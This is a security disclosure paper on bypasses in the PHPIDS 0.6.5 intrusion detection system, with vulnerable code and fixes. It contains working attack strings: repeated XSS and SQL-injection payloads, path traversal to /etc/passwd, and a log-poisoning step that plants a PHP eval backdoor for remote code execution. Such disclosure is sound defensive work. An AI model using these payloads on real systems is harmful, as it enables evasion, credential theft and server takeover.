Bypassing PHPIDS 0.6.5

Michael Brooks (mike (at) sitewat.ch)

Traps Of Gold – Defcon 2011

https://sitewat.ch/

Introduction

PHPIDS is a Intrusion Detection/Prevention system that is designed to be embedded into a PHP application. This is done via an include, which should be performed prior to executing any of the application's code. It is designed to prevent a variety of attacks, however most of the rule-sets focus on SQL Injection and XSS. The project has a clean design and is well documented.

Anatomy

PHPIDS comes ready out of the archive. You can try it out by accessing ./docs/examples/example.php in your browser. This file is a good place to test attack strings to see what PHPIDS filters match the attack string, if any. All rules are written as Perl Compatible Regular Expressions (PCRE). The filters can be found in ./lib/IDS/default_filter.xml. However a lot happens before a filter is applied to an attack string.

The file example.php will instantiate the IDS_Monitor class found in ./lib/IDS/Monitor.php. The _detect() method in this class performs preprocessing on a input variable prior to iterating over all filters. The file ./lib/IDS/Converter.php contains the IDS_Converter class which is a collection of preprocessor methods all of which are executed on input data prior to reaching the filter. Many of the attacks in this paper are leveraging vulnerabilities introduced by the IDS_Converter class.

Tools

A few tools where used when attacking PHPIDS. One of the first tools used was the RIPS PHP static analysis tool. PHPIDS produced very few results, which is a good sign. No vulnerabilities where found in the rips results. To test the quality of the existing rule-sets a number of vulnerability scanners where used, including w3af, Wapiti and Skipfish. A number of attack strings made it past the default_fitler.xml. Six additional rule-sets where written to improve PHPIDS's ability to stop these tools from detecting vulnerabilities. To conduct analysis of an individual rule-set or preprocessor method RegexBuddy was used. RegexBuddy allows for the debugging of a regular expression. This debugging process can answer the question “What part of this regular expression is matching my attack string?”.

Attacks

Incorrect Assumption:
Attacks can never be repetitive

Impact:
Complete and total bypass of **ALL** PHPIDS rule-sets as of 0.6.5
"Thirty-three wrongs makes a right"

Vulnerable Code:
The vulnerable code is on line 90 in ./lib/IDS/Converter.php:

```php
public static function convertFromRepetition($value)
{
    // remove obvios repetition patterns
    $value = preg_replace(
        '/(?:(.{2,})\1{32,})|(?:[+=|\-@\s]{128,})/',
        'x',
        $value
    );
    return $value;
}
```

Here is the vulnerable part of the regex colorized using RegexBuddy:

```
(?:(.{2,})\1{32,})
```

This regular expression matches any 2 characters that are repeated 33 or more times in succession. The first match is a back reference declared in the regex with the \1, 32 additional matches are required to satisfy this regex. The attack string “<script>alert(1)</script>” is matched by 4 filter rule-sets. If this string is repeated 33 times then the attack will slip past PHPIDS undetected.
“<script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><sc
ript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script
>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>ale
rt(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)
</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</sc
ript><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script
><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><s
cript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script> ”

SQL Injection is also exploitable as long as the attack string ends with a comment. For instance the following attack string is matched by 6 rules, all of which can be bypassed if this string is duplicated 33 times. It is acceptable to duplicate this attack string because it ends with a comment, there for the 32 other iterations will be commented out:
' union select password from mySQL.user limit 1 /*

Directly Traversal and Local File Include attacks work as long as the string is null terminated
../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd
%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00

Format string vulnerability are attacks because they are repetitive. Here is an example attack string that bypasses PHPIDS:
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

PHP is written in C++ and many of the modules are also written in C/C++ which means that they can be vulnerable to format string vulnerabilities. In fact 9 CVEs have been issued for format string vulnerabilities affecting PHP. Repetition is what makes this an attack. If too few format string modifiers are present then the process will not crash and the vulnerability will go undetected.

Solution:
Remove convertFromRepetition() immediately! Do not try and repair this function it is a flawed approach to the problem.

Incorrect Assumption:
Monitor.php line 289:

```
// to increase performance, only start detection if value
// isn't alphanumeric
```

Vulnerable Code:
Monitor.php line 291:

```
$prefilter = '/[^\w\s\/@!?\.]+|(?:\.\/)|(?:@@\w+)/';
```

The problem is that an attack can be purely alphanumeric. These seven characters are also permitted "/@!?.\r\n", the last two being carriage returns "\r" and line feeds "\n". So CRLF injection can slip by PHPIDS undetected. As a real world example this SQL Injection vulnerability in IG-Shop will be used. The vulnerable code in IG-Shop is:

```
$qry_txt="select type_id from catalog_product where product_id=".$HTTP_GET_VARS[id];
```

Clearly this is vulnerable to SQL Injection because it doesn't have quote marks around the 'id' variable. This can be exploited as follows:
http://localhost/compare_product.php?id=0 union select password from users limit 1
The limit 1 means that the first record will be returned, in almost all cases this is the administrator. However the attacker is free to iterate over the entire table by using the "offset " operator instead of using a comma.
http://localhost/compare_product.php?id=0 union select password from users limit 1 offset 1
this request would select the 2nd record in the table.

With this preprocessor in place its impossible to write a rule-set for this SQL Injection attack. To make matters worse, many vulnerability scanners are good at finding this type of SQL injection with a test like this:
http://localhost/compare_product.php?id=sleep(30)

Solution:
This vulnerability is two fold. I removed this preprocessor entirely because its clearly flawed. However to address detection of this vulnerability this rule-set was written:
(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\)))
(This will also work for postgreSQL's pg_sleep() function, there are already rule-sets for MS-SQL's "wait for command")

Incorrect Assumption:
Attacks can only come from $_GET, $_POST ,$_COOKIE and $_REQUEST.

Impact:
Some XSS is undetected.

The problem is that $_SERVER can be the source of an attack. In fact $_SERVER['PHP_SELF'] is commonly used as an XSS vector. This vector will go undetected in most PHPIDS installs due to an insecure default.

Example XSS Vulnerability:

```php
<?php
    echo $_SERVER['PHP_SELF'];
?>
```

Prof of Concept Exploit:
http://localhost/xss.php/<script>alert(1)</script>

Solution:
The simplest solution is to add $_SERVER to the list of super globals that are checked for attack strings.

Incorrect Assumption:
The "HTTP_X_FORWARDED_FOR" http header cannot be controlled by the attacker and is there for the "correct" IP address.

Impact:
IP address spoofing.

Vulnerable Code:
./lib/IDS/Log/Database.php line 164
and
./lib/IDS/Log/File.php line 89

```php
// determine correct IP address
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $this->ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $this->ip = $_SERVER['REMOTE_ADDR'];
}
```

Solution:
$_SERVER should not be trusted and can be the source of an attack. Ideally the entire HTTP Request should be logged because any part of it could be an attack. In this case an attacker could be using a transparent http proxy and there for HTTP_X_FORWARDED_FOR could be useful to law enforcement. However REMOTE_ADDR is taken directly from the httpd's tcp socket and cannot be spoofed over the open Internet because of the three way handshake. Thus REMOTE_ADDR is inherently more trustworthy, not the other way around. It is interesting to note that the Email.php logging module is handling this vulnerability correctly, it logs both values if they are present.

Incorrect Assumption:
Log files are safe.

Impact:
LFI attacks can bypass PHPIDS by using the duplication attack discussed earlier in the paper. Using this vulnerability an LFI payload can be written to a file. This is an important step in turning a Local File Include (LFI) vulnerability into Remote Code Execution (RCE). This feature is enabled by default.

Vulnerable Code:
./lib/IDS/Log/File.php line 156:

```
$dataString = sprintf($format,
                      $this->ip,
                      date('c'),
                      $data->getImpact(),
                      join(' ', $data->getTags()),
                      trim($attackedParameters),
                      urlencode($_SERVER['REQUEST_URI']),
                      $_SERVER['SERVER_ADDR']);
```

$this->ip is an attacker controlled variable $_SERVER['HTTP_X_FORWARDED_FOR']. If this http header element contains <?php eval($_GET[e]);?> then it will be written to ./lib/IDS/tmp/phpids_log.txt. Here is an example poisoned record in the log:
"127.0.0.1 (<?php eval($_GET['e']);?>)",2011-06-25T15:37:29-06:00,100,"xss csrf id rfe lfi","test=
%3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B%3F%3E
HTTP_X_FORWARDED_FOR=%3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B
%3F%3E QUERY_STRING=test%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e
%2527%5D%29%3B%3F%253E REQUEST_URI=%2Fdocs%2Fexamples%2Fexample.php%3Ftest
%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e%2527%5D%29%3B%3F
%253E","%2Fdocs%2Fexamples%2Fexample.php%3Ftest%3D%253C%3Fphp%2520eval
%28%24_GET%5B%2527e%2527%5D%29%3B%3F%253E","127.0.1.1"

This URL will also trigger this vulnerability:
http://localhost/docs/examples/example.php?<?eval(array_pop($_GET))?>=<script>alert(1)</script>
The variable's name will be written to the file, the value is just to trigger a filter so that it will be logged. Brackets cannot be used in this attack, to trigger the backdoor use file.php?a=phpinfo();

Solution:
urlencode both $this->ip and $attackedParameters.

Conclusion

The only way to make a project like this stronger is to break it. This is a very critical break, not only is all of the protection provided by PHPIDS bypassed, but PHPIDS can help the attacker achieve remote code execution. So in fact, running this version of PHPIDS made you less secure. All vulnerabilities covered in this paper where discovered and patches where written by Michael Brooks. This was done as a public service by https://sitewat.ch/ . Our goal is to make the Internet a better place. Fixing PHPIDS is one way in which we are accomplishing our goal.